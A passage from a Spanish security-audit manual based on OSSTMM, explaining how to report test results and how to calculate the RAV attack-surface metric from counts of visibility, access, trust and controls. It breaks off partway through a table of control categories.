Manual de Auditoria para no Auditores Caracterizar una prueba de seguridad usando el método científico, es descubrir las propiedades del alcance, para asegurar que las pruebas correctas fueron hechas para ello. El probador hace una hipótesis sobre la interactividad de un punto en la superficie de ataque. La prueba devolverá que el punto es interactivo y agrega a la superficie de ataque o no si todavía agrega a la superficie de ataque, controla en su lugar, cualquier limitación en esos controles, cualquier limitación en la seguridad definida y cualquier anomalía. En este punto, el analista puede estar equivocado acerca de la función del proceso en funcionamiento, sin embargo, el analista puede no estar equivocado en que las pruebas se deben utilizar para verificar lo que la función es en realidad. Es por ello que tanto el conocimiento del proceso como la imaginación creativa de la interacción indirecta son necesarios Por ejemplo, el analista puede caracterizar un proceso incluyendo la interacción entre un visitante y la red a través de una tarjeta de acceso. Así, mientras que este visitante no tiene las credenciales para acceder a la red, ya que debe obtener el permiso a través del lector de tarjetas, dado que este está bajo el control del sistema informático, que el visitante no pueda acceder a la red solo por pasar la tarjeta. El analista debe considerar cómo probar lo que sucede cuando el visitante interactúa con el lector de tarjetas para obtener acceso, así como los efectos secundarios de tener la tarjeta. Sin embargo, incluso si las pruebas muestran que el lector de tarjetas está conectado a un sistema informático independiente y no está conectado a la red. Por lo tanto, el analista examinará el alcance de donde puede ocurrir una interacción, así como donde las operaciones muestran que las interacciones se producen. Esto permitirá una caracterización de los puntos de interacción, cualquier interacción indirecta posible, y todos los efectos secundarios de tales interacciones. Esta caracterización debe ser entonces emparejada con las pruebas realizadas para determinar si se realizaron todas las pruebas correctas. Busque signos de Intuición. Las máquinas son claramente mejores que humanos en consistencia. Los humanos generalmente quedan aburridos, confundidos, o descuidados. Cuando una máquina cuenta monedas, no pierde cuenta y necesite comenzar de nuevo. No duda de sí mismo y comience de nuevo, no usará la intuición. El poder de intuición es increíble, le permite a las personas imaginar, aplicar la creatividad a un trabajo, y saber cuándo en algo o sobre algo se sienten equivocados. Está es parte de la condición humana para inconscientemente detectar problemas y prepararse consecuentemente. De cualquier forma, ¿qué es exactamente esta intuición? es la que algunas veces nos conduce a cometer errores. Esto es más obvio cuando contamos cantidades grandes de objetos que analizar que resultan ser muy similares. Sin concentración total, podemos Página 285 de 430

Manual de Auditoria para no Auditores comenzar a darnos cuenta y eventualmente podemos sentirnos obligados para comenzar de nuevo o justamente aceptar un número que suena como correcto. Hay un lapso de tiempo cuando una prueba requiere máxima precisión; durante un gran número de secuencias repetitivas. Generalmente, tendemos a crear herramientas, para manejar este tipo de repetición, de cualquier forma, que no siempre puede ser posible debido a la naturaleza dinámica de la prueba, como al interactuar con personas, en lugar de máquinas u objetos inanimados. Para los progresos de prueba, el probador puede usar intuición para hacer la presunción, que la prueba será innecesaria. El analista debe pagar por la atención especial que este tipo de pruebas requiere y debe buscar signos de intuición por parte del probador. Los signos de uso inadecuado de la intuición en las pruebas son: 1. Las incongruencias en los tipos de pruebas realizadas a través de objetivos múltiples, similares. 2. El número de disminución de pruebas entre objetivos. 3. La longitud de tiempo para la disminución de pruebas entre objetivos. 4. El mismo objetivo probado más de una vez con las mismas pruebas. La detección de uso inadecuado de intuición, en las pruebas saldrá a la vista un proceso inadecuado de experimentación y la calidad de los resultados debería ser estimada con sospecha. El re ensayo puede ser una buena medida correctora de este uso inadecuado. La información transparente. Raramente se llega al fin de un análisis de seguridad con todas las respuestas. Desde que las pruebas dependen del Modelo OpSec y de los controles de un canal particular el vector/res allí son las incógnitas a despejar en la ecuación. Puede haber un objetivo visible que no provee interacción y no da más información acerca de ese objetivo puede ser determinado de este vector y este canal. Está en lo correcto. El analista debería informado qué ha sido encontrado con seguridad y no por suposiciones lo que podría ser. Hay ningún lugar para adivinar al medir una superficie de ataque. Además de información acerca de la prueba misma, en lo que se refiere a cómo estaba hecho, el analista necesitará reportar los siguientes 7 resultados experimentales: 1. Las incógnitas a medida que los vectores y los canales analizados crecen más información estarán disponibles y eso a su vez cambiará y proveerá inteligencia demandable. Inversamente, tal vez más resultados son inciertos o la correlación de resultados provea respuestas conflictivas, la inteligencia demandable resultante es inaplicable. La incógnita es una respuesta válida para informar. Lo que no puede ser conocido es tan válido y como importante en la seguridad como cuándo es descubierto. Las funciones incógnitas son difíciles de experimentar y analizar. La incógnita Página 286 de 430

Manual de Auditoria para no Auditores no necesita verse como un fracaso del probador más bien puede deberse a la protección superior o un ataque que usa un costo grande de tiempo o los recursos no posibles en una prueba. Ningún analista debería temer a informar que algo es desconocido. Esto es un resultado poderoso más propio para un análisis de riesgos. 2. Objetivos o Blancos no probados Adicionalmente, las necesidades del analista para informar categorizan las incógnitas - los blancos dentro de un alcance, que no ha sido probado, dentro de un canal o de un vector determinado. Si una prueba no puede ser completada: por restricciones de tiempo, limitaciones de la herramienta, o por tratarse de blancos inestable, el ambiente experimental cambiante constantemente de condiciones como para proporcionar resultados correctos, o porque las pruebas no fueron buscadas por el propietario del blanco / objetivo esto necesita ser conocido e informado de forma inmediata a la conclusión de las pruebas. Informando qué no fue examinado, considere hacer lo correcto es decir probar todas combinaciones posibles para hacer comparaciones con pruebas futuras. Eso también ayudará a evitar defraudar por sólo probar el bien segmento protegido dentro de un alcance determinado e ignorar el resto por dar la impresión de una superficie pequeña de ataque. 3. Las limitaciones identificadas y Verificadas Además de las incógnitas, el analista también debe informar de cualquier limitaciones identificadas y verificadas como las vulnerabilidades en los blancos. Una limitación identificada es una que ha sido determinado a través de conocimiento y correlación. Esto es útil cuando las pruebas mismas son peligrosas o muy costosas (ensayos destructivos). Algunas veces una prueba puede dañar para un blanco o puede causar una degradación inaceptable o el daño colateral puede llegar a ser de tipo criminal. Una limitación verificada es una donde el problema ha estado específicamente probado para determinar si existe.

4. Posibles falsos y los medios para generarlos Durante las pruebas, algunas limitaciones identificadas no serán vulnerables a esos ataques en particular durante la verificación. Sin embargo, esto no concluye que el objetivo no tiene esas limitaciones. Sólo significa que la prueba en particular en ese momento en particular y desde ese probador en particular no expuso la vulnerabilidad como identificado. También podría significar que el objetivo es vulnerable, pero está protegido por un control en particular. Dichos positivos falsos deben ser informados de manera que, durante el desarrollo de técnicas protectoras y defensivas, el problema pueda ser observado más de cerca, particularmente a partir de un vector diferente.

Página 287 de 430

Manual de Auditoria para no Auditores 5. Procesos y procedimientos de seguridad fallidos. Durante el análisis, los resultados de las pruebas mostrarán algo más que el OpSec, los tipos de controles y el número de limitaciones. Estos procedimientos y procesos pueden operar sobre cualquier entidad para la que están diseñados para verificar las medidas de protección a su estado actual. Esto incluye, pero no se limita a mantenimiento, adquisición, identificación, autorización, limpieza, recuperación de desastres, relaciones con los socios, generación de políticas, control climático y recursos humanos. Cuando un objetivo tiene una limitación muchas veces hay un proceso o procedimiento fallido detrás de él. El analista debe ser capaz de determinar exactamente lo que es a partir de los resultados de la prueba agregada 6. Buenas Prácticas El término "Mejores Prácticas" se utiliza para explicar la mejor manera de hacer algo por parte de una persona u organización. Por desgracia, este término ha sido usado en exceso y de forma no adecuada hasta el punto en que ahora significa que es mejor para todos. Esto mismo ha causado problemas y desperdiciado recursos. Una manera de contrarrestar este problema es usar los resultados de las pruebas agregadas para mostrar prácticas que tienen éxito. Esto mostrará lo que puede repetirse para lograr un éxito equivalente en otras áreas de la organización y definir una "mejor práctica" personalizada para cada uno de ellos. También reducirá su dependencia de las Mejores Prácticas de toda la industria a favor de lo que funciona mejor para ellos. 7. Cumplimiento En caso de que se necesiten alcanzar objetivos específicos de cumplimiento, el analista debe utilizar los resultados de las pruebas correlacionadas para determinar si se han cumplido estos objetivos. Esto puede necesitar ser informado o transferido en un fichero con un formato especial según lo determinado por el auditor sin embargo el analista está mejor equipado para mostrar qué resultados de prueba, proporcionan la información necesaria. Métricas en Operaciones de Seguridad OpSec. Las métricas de seguridad operacional son las métricas con las que estamos más familiarizados en nuestras vidas. Cuando medimos la altura, el ancho o la longitud de un objeto, estamos utilizando una métrica operativa. Cuando escribimos la fecha, tenemos un cumpleaños, o preguntamos a la partitura de un juego que estamos usando métricas operacionales. Una métrica operacional es una medida constante que nos informa de un recuento de hechos en relación con el mundo físico en el que vivimos. Son operacionales porque son números con los que podemos trabajar constantemente de un día a otro y de persona a persona. Es difícil trabajar con medidas relativas o inconsistentes como elegir un matiz específico de amarillo para pintar una habitación, comenzar el trabajo al amanecer, tener el sabor Página 288 de 430

Manual de Auditoria para no Auditores adecuado de la fresa para un batido, o prepararse para que la próxima amenaza afecte los beneficios de su organización debido a que los factores tienen muchas variables son sesgados o que cambian con frecuencia entre las personas, las regiones, las costumbres y las ubicaciones. Por esta razón, muchas profesiones intentan estandarizar cosas como sabores, colores y horas de trabajo. Esto se hace a través del reduccionismo, un proceso de encontrar los elementos de tales cosas y de construirlas a partir de allí cuantificando esos elementos. De esta manera, los colores se convierten en frecuencias, las horas de trabajo se convierten en horas y minutos, los sabores se convierten en compuestos químicos, y una superficie de ataque se convierte en porosidad, controles y limitaciones. El único problema real con las métricas operativas es el requisito de saber cómo aplicar correctamente la métrica para que sea útil.

La realización de una prueba de seguridad exhaustiva tiene la ventaja de proporcionar métricas precisas sobre el estado de seguridad. Como con el uso de cualquier métrica. Cuanto menos exhaustivo sea el test, menor lo será la métrica general. Los analistas afectarán también negativamente a la calidad de la métrica al igual que las personas que no saben decir el tiempo, no pueden construir relojes, los diseñadores sin las herramientas adecuadas no pueden decidir exactamente con los colores. Usar RAVs para medir y rastrear el Seguridad en nada de tiempo. Los maestros de cerveza que no pueden medir los ingredientes en la cerveza no pueden hacer lotes similares repetidamente para el mercado. Por lo tanto, una métrica de Página 289 de 430

Manual de Auditoria para no Auditores seguridad exitosa requiere una prueba que se puede describir como la medición de los vectores adecuados, mientras que la contabilidad de las inexactitudes y tergiversaciones en los datos de la prueba recogida, así como las habilidades o la experiencia de los profesionales de seguridad que realizan la prueba. Las fallas en estos requerimientos resultan en mediciones de menor calidad y falsas determinaciones de seguridad, por lo tanto, la métrica también debe ser lo suficientemente simple, como para usarla sin que sea tan simple, que no diga nada. Además, una métrica de seguridad adecuada debe evitar los sesgos inherentes a las evaluaciones de riesgo, asegurando que las mediciones tienen integridad. Estas cualidades se han combinado para crear los RAVs, una descripción imparcial y objetiva de una superficie de ataque. Conocer el RAV El rav es una medida de escala de la superficie de ataque, la cantidad de interacciones incontroladas contra un objetivo, que se calcula mediante el equilibrio cuantitativo entre operaciones, limitaciones y controles. Tener los RAVs es entender cuánto de la superficie de ataque está expuesta. En esta escala, 100 rav (también se muestra como 100% rav por simplicidad de comprensión, aunque no exactamente un porcentaje) es el equilibrio perfecto y nada menos, estos son muy pocos controles y por lo tanto una mayor superficie de ataque. Más de 100 rav demuestra más controles de los que son necesarios, a su vez puede ser un problema, ya que los controles a menudo añaden interacciones dentro de un ámbito, así como problemas de complejidad y mantenimiento. El rav no mide el riesgo para una superficie de ataque, sino que permite medirlo. No se puede decir si un objetivo particular será atacado, pero puede decir dónde un objetivo será atacado, qué tipos de ataques, como el blanco se puede defender con éxito, qué tan profundo puede llegar un atacante y cuánto daño puede hacerse. Con esa información es posible evaluar las contramedidas (y los riesgos) con mucha mayor precisión. El rav es en realidad múltiples cálculos separados de: porosidad, controles y limitaciones, que cuando se combinan mostrará el tamaño de una superficie de ataque de dos maneras prácticas. La primera forma es en un cálculo recto. Es el cálculo del Delta, un número que describe la exposición específica de ese objetivo. Esto es útil para determinar cómo una nueva persona, cosa o proceso cambiará la seguridad operativa de un nuevo ámbito o como una comparación entre varios objetivos individuales. Esta es también la forma más fácil de ver Seguridad Perfecta, el perfecto equilibrio entre Porosidad, Controles y Limitaciones. El rav se muestra como un número positivo o negativo que muestra cuán lejos está el objetivo de un equilibrio perfecto de seguridad. Un delta positivo muestra que se gasta demasiado en los controles en general o incluso si el exceso de gastos es demasiado de un tipo de control. Un delta negativo muestra una falta de controles o controles ellos mismos con limitaciones que no pueden proteger adecuadamente al objetivo. Página 290 de 430

Manual de Auditoria para no Auditores Esta es una herramienta poderosa para saber exactamente dónde y cómo se están gastando los recursos para proteger un objetivo en particular. Sin embargo, esto no es cómo el rav es más útil. La segunda forma práctica de mostrar la superficie de ataque es para entender el panorama general. Esto se representa como seguridad real. Cuando el cálculo de Delta se basa en el equilibrio perfecto, el cálculo de seguridad real utiliza el Delta, pero también incluye controles adicionales y redundantes para proporcionar una métrica más amigable y familiar. Aquí la representación del rav es similar a cómo la gente utiliza porcentajes. El rav se calcula con un logaritmo de base 10, lo que hace una representación más comprensible. Mientras que el rav está todavía en equilibrio, el equilibrio perfecto se fija en 100 y los cálculos se hacen con respecto a eso. Esto permitirá a la mayoría de las personas tener una visión rápida y fácil de todos los objetivos en un ámbito o de un solo objetivo en relación con otros objetivos. Es extremadamente flexible para que las superficies de ataque múltiples puedan ser comparadas por la seguridad actual incluso si el alcance o los objetivos son muy diferentes: el 95% de rav de un alcance con 1000 sistemas informáticos es comparable al 95% rav con sólo 10 sistemas, lo que puede ser nuevo. En comparación con un edificio con un 95% rav. Los tres proporcionarán la misma información a una persona que la protección del blanco es 5% deficiente y por lo tanto expuestos al ataque. Con este conocimiento, uno puede comenzar a evaluar el riesgo y determinar lo que está expuesto, lo que queda sin control, y si ese 5% es aceptable. ¿Cómo es un RAV? Un rav es un poco diferente de otras mediciones de seguridad porque el conteo es único dentro de un alcance. Eso es como determinar el tamaño general de una persona contando todas las células en ellos y categorizarlos por lo que hacen para determinar la salud general de la persona. Esta es la razón por la rav sólo puede derivarse de las pruebas de seguridad operacional. Imagina que existe una máquina que puede auditar todas las células de un cuerpo humano. Esta máquina trabaja supervisando las células en su ambiente e incluso empujando cada célula de una manera que puede reaccionar para categorizar mejor su propósito. Podríamos entonces ver qué hacen varias células y cómo contribuyen al funcionamiento general del cuerpo humano. Algunas células forman paredes de tejido como las células de la piel. Algunos, como los glóbulos blancos, proporcionan autenticación y atacan a otras células que están en su lista "mala". Entonces algunas células son extranjeras, como bacterias que han entrado en algún momento y prosperado. La máquina clasificaría todas las células que componen a la persona, un alcance definido, en lugar de decir que son "malas" o "buenas". Mediante el recuento de las células de la máquina puede decir la mayoría de lo bien que la persona como un organismo funciona (la salud) y lo bien que encajan en su entorno actual. También puede determinar qué celdas están rotas, que son superfluas, y de qué tipo más podría ser necesario para que la persona sea más Página 291 de 430

Manual de Auditoria para no Auditores eficiente, preparada para lo inesperado o para cualquier número de requisitos específicos. Dado que las células se están dividiendo y muriendo todo el tiempo, la máquina también debe hacer pruebas periódicas y la capacidad de la persona para mejorar o por lo menos mantener la homeostasis. Ahora, además de contar las células y ver cómo funcionan, la máquina también verá con qué otras células o en qué condiciones interactúan y qué tan bien. En cada operación de las funciones de la célula la máquina puede determinar cuáles son las limitaciones de las células. Así que, si fuera posible para la máquina también reparar un problema en las células defectuosas directamente, fortalecer el cuerpo mediante el cambio del proceso de las células, o la eliminación de las células innecesarias, que sería capaz de afectar directamente a la salud del cuerpo en su conjunto con cada cambio. O tal vez podríamos cambiar el entorno al que el cuerpo está expuesto en lugar de las células para hacer más cambios globales. Al someter a la persona a una mejor nutrición, dieta o ejercicio también cambiaremos el cuerpo a nivel celular. Todo esto es posible por saber cómo funcionan las cosas dentro del cuerpo y qué hay en estas operaciones. Desafortunadamente no hay tal máquina para contar todas las células en un cuerpo humano. Sin embargo, existe para la seguridad. Los analistas pueden contar y verificar las operaciones de los objetivos en un ámbito como si fuera un superorganismo. Graban sus interacciones y los controles que rodean esas interacciones. Los clasifican por operaciones, recursos, procesos y limitaciones. Los números que generan los analistas se combinan para que los controles aumenten la seguridad operativa y las limitaciones que se quitan. Incluso el valor de las limitaciones, qué cada tipo de problema tiene y que daña, tampoco es arbitrario porque se basa en la combinación de seguridad y controles dentro de ese ámbito en particular. Por lo tanto, un problema grave en un entorno protector proporcionará menos exposición total que uno en un entorno menos controlado.

Página 292 de 430

Manual de Auditoria para no Auditores Ocho Respuestas Fundamentales de Seguridad El rav no representa riesgo donde se conoce riesgo como Riesgo = Amenaza x Vulnerabilidad x Activo. En esa ecuación, el riesgo es el resultado de una ecuación informada, aunque altamente sesgada. Si podemos eliminar la mayor parte del sesgo conociendo el nivel de protección y por lo tanto el nivel de impacto de la vulnerabilidad, podemos reducir el sesgo en esa ecuación y dar una evaluación mucho mejor del riesgo. Por lo tanto, el rav es en realidad la base factual para una evaluación de riesgo donde un analista tiene hechos con los que trabajar. El verdadero poder del rav sin embargo es cómo puede dar respuestas a las siguientes ocho preguntas de seguridad fundamentales con gran precisión. 1. ¿Cuánto dinero se debe gastar en seguridad? El rav mostrará la cantidad actual de protección para hacer proyecciones de seguridad y definir hitos incluso antes de comprar una solución particular o implementar algún nuevo proceso. A partir de estas proyecciones e hitos, se pueden crear restricciones financieras para alcanzar los objetivos y obtener los resultados más específicos de la inversión. Al saber exactamente lo que se controla en función de los gastos corrientes, también puede ver lo que no se controla para ese dinero. "Más" entonces se convierte en lo que falta. Entonces es posible predecir el costo de llenar los controles que faltan para lograr un equilibrio perfecto o por lo menos un nivel aceptablemente aceptable de cobertura. 2. ¿Qué debe ser protegido primero? El rav se puede utilizar para ver la seguridad como parte de la imagen general y como una lente macro en una parte particular de un objetivo, o cualquier combinación de los mismos. Después del análisis, el rav mostrará qué parte particular del alcance tiene la mayor porosidad y los controles más débiles. Comparando eso con las necesidades y el valor de un activo, se puede generar una relación entre la fuerza de protección y el valor para decidir exactamente por dónde empezar. 3. ¿Qué soluciones de protección necesitamos y cómo deberíamos establecerlas para obtener la máxima eficacia? Un rav completamente completado mostrará los 10 posibles controles operativos aplicados para cada objetivo y las limitaciones de esos controles. A continuación, puede elegir soluciones basadas en qué tipos de controles desea implementar. La diferencia ahora es que usted ya no necesita mirar una solución en términos de lo que es más que como la protección o los controles que puede proporcionar. Esto le permite ver productos para los controles que necesita proporcionar en las áreas donde los controles son actualmente deficientes.

Página 293 de 430

Manual de Auditoria para no Auditores 4. ¿Cuántas mejoras se obtienen con las adquisiciones y procesos de seguridad específicos? Una característica clave de la rav es que usted puede hacer un "Delta" mediante la asignación de los beneficios y limitaciones de una solución en particular para la comparación antes de la adquisición. Esto significa que puede ver los cambios que la solución hará en el ámbito de comparación con otras soluciones. Combinando ese mapa a un rav del alcance donde se colocaría la solución, la cantidad de mejora se puede calibrar incluso antes de la compra. Incluso puede predecir el valor de esa protección dividiendo el precio de la solución por el delta del rav. 5. ¿Cómo medimos los esfuerzos periódicos de seguridad y las mejoras? Con auditorías regulares, el rav puede ser recalculado y comparado con el valor más antiguo. De esta forma, el coste de las nuevas soluciones y procesos se puede justificar regularmente, así como el coste de mantener el nivel de seguridad actual. 6. ¿Cómo sabemos si estamos reduciendo nuestra exposición a nuestras amenazas? Con un conocimiento específico de sus controles, puede saber fácilmente qué parte o vector del alcance es débil para las amenazas específicas y más desconocidas. En terminología de rav, una amenaza desconocida es sólo una que puede aparecer donde existen interacciones, pero los controles no. Por lo tanto, se puede trazar un mapa entre las amenazas determinadas por los evaluadores de riesgos y los controles en su lugar. Las revisiones métricas regulares mostrarán cualquier cambio en este mapa y se pueden hacer regularmente. Entonces es posible medir el costo que cada una de esas amenazas tiene sobre la seguridad por el gasto en controles. 7. ¿Puede el rav decirnos cuán bien resiste algo a los ataques? Técnicamente, sí. Cuanto más se pueda equilibrar los controles con las interacciones, menor será la superficie de ataque y será más capaz el objetivo de controlar los tipos conocidos y desconocidos de interacciones. 8. ¿Puede el rav ayudarme con el cumplimiento normativo? Cualquier cosa que le ayude a clasificar todos los controles y puntos de acceso en un ámbito le ayudará con las auditorías de cumplimiento. El rav le ayuda a hacer un trabajo tan bueno de conseguir su seguridad bajo control que incluso puede encontrar las principales fallas en las regulaciones de cumplimiento. Aunque ahora no hay un cumplimiento específico que le pida que tenga un puntaje de rav en particular, mostrar el OSSTMM STAR con su puntaje de rav le ayudará a cumplir con varios requisitos de cumplimiento para una auditoría y documentación de terceros.

Página 294 de 430

Manual de Auditoria para no Auditores Cómo construir un RAV. El rav requiere una prueba de seguridad para tener las cosas correctas contadas y las operaciones correctas analizadas. Cualquier prueba de seguridad se puede utilizar, pero la más completa y precisa de la prueba más los resultados concluyentes serán. El rav fue diseñado originalmente para pruebas de operaciones, como el OSSTMM, donde el auditor se centra en el comportamiento del objetivo en lugar de la configuración. Sin embargo, los experimentos muestran que es posible aplicar el rav a pruebas no operativas, así como en el análisis de código estático para determinar el nivel de seguridad y complejidad del software o en auditorías de lista de comprobación de seguridad física para determinar el nivel de protección que un espacio físico proporcionará. El proyecto SCARE (Evaluación del Riesgo de Análisis de Código Fuente) hace exactamente esto aplicando los ravs al código fuente C.

El rav mínimo se hace por el cálculo de porosidad, que son los huecos, dentro del alcance. El problema con la métrica dependerá generalmente en la determinación por parte de los asesores en que estos tengan presente lo que posiblemente no pueden conocer. Este problema no existe en el rav. Usted trabaja lo que usted sabe que existe y está allí para un vector particular y usted no hace suposiciones circundantes sobre lo que no está allí. Usted cuenta tan cuál es visible e interactivo fuera del alcance y tiene en cuenta interacción sin verificar entre otros blancos en el alcance. Eso se convierte en la porosidad. Estas marcas de valor de porosidad la primera parte de 3 partes del valor final del rav. La siguiente parte debe dar razón de los controles en el lugar por blanco.

Página 295 de 430

Manual de Auditoria para no Auditores Esto significa pasarse objetivo por objetivo y determinar dónde cualquier de los 10 controles está en su sitio como: la Autenticación, la Subyugación, Repudiación, etc. Cada control es preciado como 10 % de un poro desde que cada uno provea 1/10 de los controles totales necesitados para impedir todo lo se conoce como un ataque tipo. Esto es porque tener todos los 10 controles pues cada poro es funcionalmente, así como cerrar el poro provisto los controles no tenga limitaciones. La tercera parte del rav da razón de las limitaciones encontradas en la protección y los controles. Estos están también conocidos como “vulnerabilidades”. El valor de estas limitaciones viene de la porosidad y controles establecidos mismos. Con todas las cuentas completadas, el rav básicamente sustrae porosidad y limitaciones de los controles. Esto es más fácilmente hecho con el calculador tabular del rav. Desafortunadamente, un analista no calificado puede proporcionar información incorrecta que se traducirá en un rav mal. Esta es una posibilidad, al igual que es posible que un carpintero no mida bien un tablero o un mecánico no pueda leer los indicadores. El mundo está lleno de escenarios hipotéticos. Por lo tanto, el rav está diseñado para ser mínimamente influenciado por malas auditorías o engaños eliminando el tamaño de alcance directo del cálculo métrico. Sin embargo, ninguna métrica puede ser inmune a la falsificación y la única manera de asegurar la métrica aplicada al rav sea más precisa es tener múltiples pruebas a lo largo del tiempo (series) para hacer los recuentos y asegurarse de que el auditor asuma, la responsabilidad, sobre la exactitud de la prueba. Es posible tomar un atajo en las pruebas y todavía hacer un rav representativo. Si no le importa el margen de error, ya que sólo desea hacer una comparación rápida, puede calcular la Porosidad, lo que significa contar los objetivos visibles y accesibles. Por ejemplo, aquellos que ejecutan escáneres de vulnerabilidades pueden contar la porosidad y las limitaciones con relativa facilidad y asignar controles predeterminados para los servicios descubiertos. Los analistas también pueden crear una lista de verificación que ofrece controles predeterminados para diferentes soluciones comunes encontradas. Estos son todos los atajos para reducir el tiempo de cálculo, pero afectará al rav general con un margen de error desconocido, pero tal vez aceptable. El resultado final es un cálculo para la seguridad real. Aplica varios controles del mismo tipo para satisfacer requisitos de doble imposición como la autenticación de 2 factores. También utiliza Log10 para reducir números grandes en forma manejable por humanos. A la gente en general le gusta trabajar con números más pequeños y especialmente como porcentajes que son más fáciles de visualizar. Para un alcance pequeño, la precisión de usar Log10 como una técnica de reducción es insignificante. Sin embargo, si usted tiene un alcance muy grande con muchos objetivos, puede que desee trabajar con los números muy grandes para una mayor precisión. Además, si desea ver el equilibrio real

Página 296 de 430

Manual de Auditoria para no Auditores donde no se miden varios controles del mismo tipo, ese cálculo se puede encontrar bajo el título de protección autentica. Combinación de canales y vectores. Un requisito importante en la aplicación del rav, es que la seguridad real sólo se puede calcular por ámbito. Un cambio en el canal, el vector o el índice es un nuevo ámbito y un nuevo cálculo para la seguridad real. Sin embargo, una vez calculado, múltiples ámbitos se pueden combinar juntos en conjunto para crear una seguridad real que representa una visión más completa de la seguridad operacional de todos los ámbitos. Por ejemplo, se puede hacer una prueba de servidores orientados a Internet desde el lado de Internet y desde la red de perímetro en la que residen los servidores. Eso es 2 vectores. Supongamos que el vector de Internet está indexado por dirección IP y contiene 50 blancos. El vector de la intranet está indexado por la dirección MAC y está hecho de 100 objetivos porque hay menos controles internos para permitir una interacción más colaborativa entre los sistemas. Una vez que se completa cada prueba y se cuenta el rav pueden combinarse en un cálculo de 150 objetivos, así como las sumas de cada limitación y control. Esto proporcionará una métrica de seguridad real final, que es más completa para esa red de perímetro que cualquiera de las dos pruebas proporcionaría por sí sola. También sería posible añadir el análisis de seguridad física, inalámbrica, telecomunicaciones y pruebas de seguridad humana de la misma manera. Tales combinaciones son posibles para crear una mejor comprensión de la seguridad total de una manera holística. Calculadora de RAV Una forma sencilla y sencilla de hacer ravs es usar las hojas de cálculo creadas específicamente para calcular la superficie de ataque y las diversas métricas requeridas por los usuarios de los datos de prueba. Esta hoja de cálculo está disponible en el sitio web de ISECOM. El analista sólo necesita introducir los valores en los casilleros blancos vacíos y el resto de los cálculos se realizarán automáticamente.

Página 297 de 430

Manual de Auditoria para no Auditores

Convertir los resultados de la prueba en una medida de superficie de ataque Seguridad operacional La medición de la Superficie de ataque requiere las mediciones de Visibilidad, Confianza y Acceso relativas al alcance. El número de objetivos en el alcance que se puede determinar que existen por interacción directa, interacción indirecta o emanaciones pasivas es su visibilidad. A medida que se determina la visibilidad, su valor representa el número de objetivos en el ámbito. La confianza es cualquier interacción no autenticada con cualquiera de los objetivos. El acceso es el número de puntos de interacción con cada objetivo.

Página 298 de 430

Manual de Auditoria para no Auditores

Categoría

Visibilidad

Accesos

Descripción El número de objetivos en el ámbito. Cuente todas las metas por índice sólo una vez y mantenga el índice de forma consistente para todos los objetivos. En general es poco realista tener más objetivos visibles que objetivos en el ámbito definido; Sin embargo, puede ser posible debido a hemorragias vectoriales donde un blanco que normalmente no es visible desde un vector es visible debido a una configuración errónea o anomalía. Una auditoría de HUMSEC emplea a 50 personas; Sin embargo, sólo 38 de ellos son interactivos a partir del vector de prueba y el canal. Esto haría una visibilidad de 38 Esto difiere de la visibilidad donde se está determinando el número de objetivos existentes. Aquí, el auditor debe contar cada acceso por punto de interacción único por sonda única. En una auditoria PHYSSEC, un edificio con 2 puertas y 5 ventanas que todas abiertas tienen un acceso de 7. Si todas las puertas y ventanas están selladas, entonces es un acceso de 0 ya que estos no son puntos donde se puede entrar. Para una auditoría COMSEC de redes de datos, el auditor cuenta cada respuesta de puerto como un acceso independientemente de cuántas maneras diferentes el auditor puede sondear ese puerto. Sin embargo, si un servicio no está alojado en ese puerto (daemon o una aplicación), todas las respuestas provienen de la pila IP. Por lo tanto, un servidor que responde con una interactividad de SYN / ACK y servicios a sólo uno de los puertos TCP escaneados y con un RST al resto no tiene un recuento de acceso de 65536 (incluido el puerto 0) ya que 66535 de los puertos responden con el Misma respuesta de RST del núcleo. Para simplificar, contar sólo los puertos con respuestas de servicio y sólo una respuesta Stack IP independientemente del número de puertos que pueden iniciar este tipo de interactividad. Con las auditorías de HUMSEC, esto es mucho más simplificado. Una persona que responde a una consulta cuenta como un acceso con todos los tipos de consultas (todas las diferentes preguntas que puede hacer o declaraciones realizadas cuentan como el mismo tipo de respuesta en el mismo canal). Por lo tanto, una persona sólo puede ser un acceso de 1 por canal y vector. Sólo una persona que ignora completamente la solicitud al no reconocer el canal no se cuenta.

Página 299 de 430

Manual de Auditoria para no Auditores

Confianza

Esto difiere de la visibilidad donde se está determinando el número de objetivos existentes. Aquí, el auditor debe contar cada Fideicomiso por punto de interacción único por sonda única. En una auditoría de PHYSSEC, un edificio con 2 puertas internas que separan las habitaciones que se abren tiene un Fideicomiso de 2. Si esas puertas están selladas entonces es un Fideicomiso de 0 ya que estos no son puntos donde uno puede pasar. Para una auditoría COMSEC de las redes de datos, el auditor cuenta cada tipo de servicio hacia adelante o hacia adelante como un Fideicomiso. Con las auditorías de HUMSEC, una persona que actúa como una puerta de enlace para interactuar con otras personas o para acceder a la propiedad es un fideicomiso por canal. Por lo tanto, una persona sólo puede ser una confianza de 1 por canal y vector. Sólo una persona que no cumple con la solicitud de confianza no se cuenta

Controles El siguiente paso en el cálculo del rav es definir los controles; Los mecanismos de seguridad establecidos para proporcionar seguridad y protección durante las interacciones. Categoría

Autenticación

Indemnización

Subyugación

Descripción Cuente cada instancia de autenticación se requiere para obtener acceso. Esto requiere que la autorización y la identificación formen ambas partes del proceso para el uso apropiado del mecanismo de autenticación. En una auditoría de PHYSSEC, si se necesita una tarjeta de identificación especial y una exploración de impresión de pulgar, para obtener acceso, a continuación, agregue dos para la autenticación. Sin embargo, si acceso sólo requiere uno u otro. Cuente en cada instancia los métodos utilizados para determinar la responsabilidad y asegurar la compensación de todos los activos dentro del alcance. Un ejemplo básico en PHYSSEC una señal de advertencia que amenaza con procesar a los intrusos. Otro ejemplo común es el seguro de propiedad. En un alcance de 200 computadoras, una póliza de seguro general contra robo se aplica a todos los 200 y por lo tanto es un recuento de 200. Sin embargo, no confunda el método, con la falla en el método. Una amenaza de enjuiciar sin la capacidad o la voluntad de enjuiciar sigue siendo un método de indemnización - sin embargo, lo es con una limitación Cuente cada instancia de acceso o punto de confianza en el ámbito, en que estrictamente no permite que los controles sigan la discreción del usuario o se originen Página 300 de 430

Manual de Auditoria para no Auditores

Continuidad

Resilencia

No repudio

